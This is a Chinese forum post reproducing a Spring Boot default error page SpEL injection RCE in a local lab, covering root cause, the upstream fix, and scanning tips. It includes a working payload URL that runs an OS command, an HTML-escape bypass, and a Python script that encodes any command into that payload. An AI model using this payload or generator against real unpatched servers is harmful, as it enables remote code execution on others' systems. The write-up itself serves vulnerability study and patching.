电脑疯子技术论坛|电脑极客社区

微信扫一扫 分享朋友圈

已有 1969 人浏览分享

Spring 默认错误页面-命令执行

[复制链接]
1969 0
Spring 默认错误页面命令执行

一、漏洞简介

Spring 表达式语言 简称 SpEL 是一种强大的表达式语言 支持在运行时查询和操作对象图语言
语法类似Struts2 的OGNL。但提供了额外的功能,最显着的是方法调用和基本的字符串模板
功能这进而也可能导致模板注入。

094850jh7q6bq7bzq22m7q.png

Spring 默认错误页面存在SpEL注入RCE 但该漏洞并未申报CVE 为了描述方便 本文将其称为CVE-2017。
CVE-2017 与 CVE-2016-4977 (Spring Security OAuth RCE)有不少相似之处:
均是Spring 安全漏洞
均是SPEL注入导致RCE
漏洞触发点均发生在错误视图

因为存在众多相似点 不少安全人员将两者混为一谈。

在差异方面 两者的差异在于:

CVE-2017 存在前提条件 需在自定义页面中 触发异常 转至SpringBoot 默认错误页面
CVE-2016-4977 默认即可触发 当认证失败<通过>时 默认使用Whitelabel作为视图来返回错误页面
视图中调用SpelView类进一步调用SpelExpressionParser 处理用户参数。

QQ截图20210720140756.png

二、漏洞影响

Spring Boot 1.1.0-1.1.12

Spring Boot 1.2.0-1.2.7

Spring Boot 1.3.0

(需fuzz得到 默认错误页面的接口及参数名)

三、环境搭建

https://github.com/LandGrey/SpringBootVulExploit/tree/master/rep
ository/springboot-spel-rce

094851hfqwf8rralx28hlz.png

四、复现过程

Fuzz接口 观察到Whitelabel Error Page页面返回状态码500

9998.png

进一步拼接参数Fuzz接口 拼接name等常用参数。

9997.png

进一步拼接参数Fuzz接口 拼接id等常用参数,观察到页面发生变化。

9996.png

使用${}继续Fuzz id参数。

http://127.0.0.1:9091/article?id=${2664/4}

9992.png

使用calc命令验证 RCE。
http://127.0.0.1:9091/article?id=${T(java.lang.Runtime).getRuntime().exe
c(new%20String(new%20byte[]{0x63,0x61,0x6c,0x63}))}

9991.png

使用 DNSLOG 命令验证 RCE。

9990.png

五、漏洞原理

spring boot 处理用户输入值出错后 报错流程进入 org.springframework.util.PropertyPlacehol
derHelper类中用 parseStringValue 方法 对${}进行递归解析用户输入值。
其中 ${} 包围的内容都会被 org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration
类的 resolvePlaceholder 方法当作 SpEL 表达式被解析执行 造成 RCE 漏洞。

代码层面观察 程序如何在错误页面中执行用户输入的代码表达式:

1.页面模板

默认错误页面Whitelabel Error Page页面模板
  1. <html>
  2.     <body>
  3.     <h1>Whitelabel Error Page</h1>
  4.     <p>This application has no explicit mapping for /error, so you are seeing this as a fallback.</p>
  5.     <div id='created'>${timestamp}</div>
  6.     <div>There was an unexpected error (type=${error}, status=${status}).</div>
  7.     <div>${message}</div>
  8.     </body>
  9. </html>
复制代码

不难发现,此页面将动态生成 生成的页面包含存在时间戳 网页状态 message等基本信息。

效果如下图所示:

999.png

2.message可控

漏洞在于message参数由用户指定 在this.context中可看到 message参数由用户指定。
报错页面设计message回显 应是为了让用户知晓 先前输入的字符串内容不正确
并不期望程序将用户输入作表达式执行。

context上下文参数查看 效果如下图所示:

998.png

3.代码界定符

如将${}直接传递至SpEL将报错 程序需要将${}去除 将内部 40*5 取出操作发生在substring处
此次回答了使用${},而不用SpEL默认 #{…} 作为定界符。
去除定界符 效果如下图所示:

997.png

4.特殊字符绕过

因为在解析SpEL前 在上下文context中取出用户输入message值要进行html实体化 凡payload中带有特殊字
符会被html实体转义,导致不能预期的执行代码,故payload需保证html编码后依然发挥作用。
  1. Object value = expression.getValue(this.context);
  2. return HtmlUtils.htmlEscape(value == null ? null : value.toString());
复制代码

可以通过String类动态生成特殊字符最终构造:
http://127.0.0.1:9091/article?id=${T(java.lang.Runtime).getRuntime().ex
ec(new String(new byte[]{0x63,0x61,0x6c,0x63}))}

5.批量扫描

综上原理 设计资产漏洞扫描器时 为提高该漏洞特征识别 可预先扫描JS文件得到接口和参数 使用接口并拼接
参数=${特征值识别} 若发现response中报错页面将特征值回显,可确定目标存在SpEL表达式漏洞。

六、POC构造

使用python或在线网页工具 将字符串中字符逐个转换为 0x63 字节形式 绕过html实体编码:
  1. # -*- coding:utf-8*-
  2. #  gen_byte
  3. #  example:   ${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x63,0x61,0x6c,0x63}))}

  4. byte_letter = ""
  5. command = 'calc'
  6. for x in command:
  7.     byte_letter += hex(ord(x)) + ","
  8. exec = byte_letter.rstrip(',')
  9. print("${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{"+exec+ "}))}")
复制代码

996.png

执行效果

899.png

七、修复方法

升级至1.3.1及以上版本

修复细节如下:

https://github.com/spring-projects/spring-boot/commit/edb16a13ee33e62b046730a47843cb5dc92054e6
NonRecursivePropertyPlaceholderHelper helper = new NonRecursivePropertyPlaceholderHelper("${", "}");
补丁通过使用新创建的NonRecursivePropertyPlaceholderHelper类 防止parseStringValue递归解析。

八、小结

​SPEL表达式较为灵活 其可以很好地适配业务中 经常变化 的部分 这可能是 业务规则 也可能是 不同的数据处理逻辑
常见的SPEL实现资源的注入有如:调用各种资源的情况 包含普通文件 网址 配置文件 系统环境变量。
在审计中 可使用关键字加快进展 如org.springframework.expression.spel.standard
expression.getValue()、expression.setValue() 。
在项目中运用Spel技术的开发人员编程水平通常较高 也正是这种巧妙运用,使得漏洞较为隐蔽 较难实现
一致性修复 需要安全人员付出足够耐心去寻找查核修复完成情况。

您需要登录后才可以回帖 登录 | 注册

本版积分规则

1

关注

0

粉丝

9021

主题
精彩推荐
热门资讯
网友晒图
图文推荐

Powered by Pcgho! X3.4

© 2008-2022 Pcgho Inc.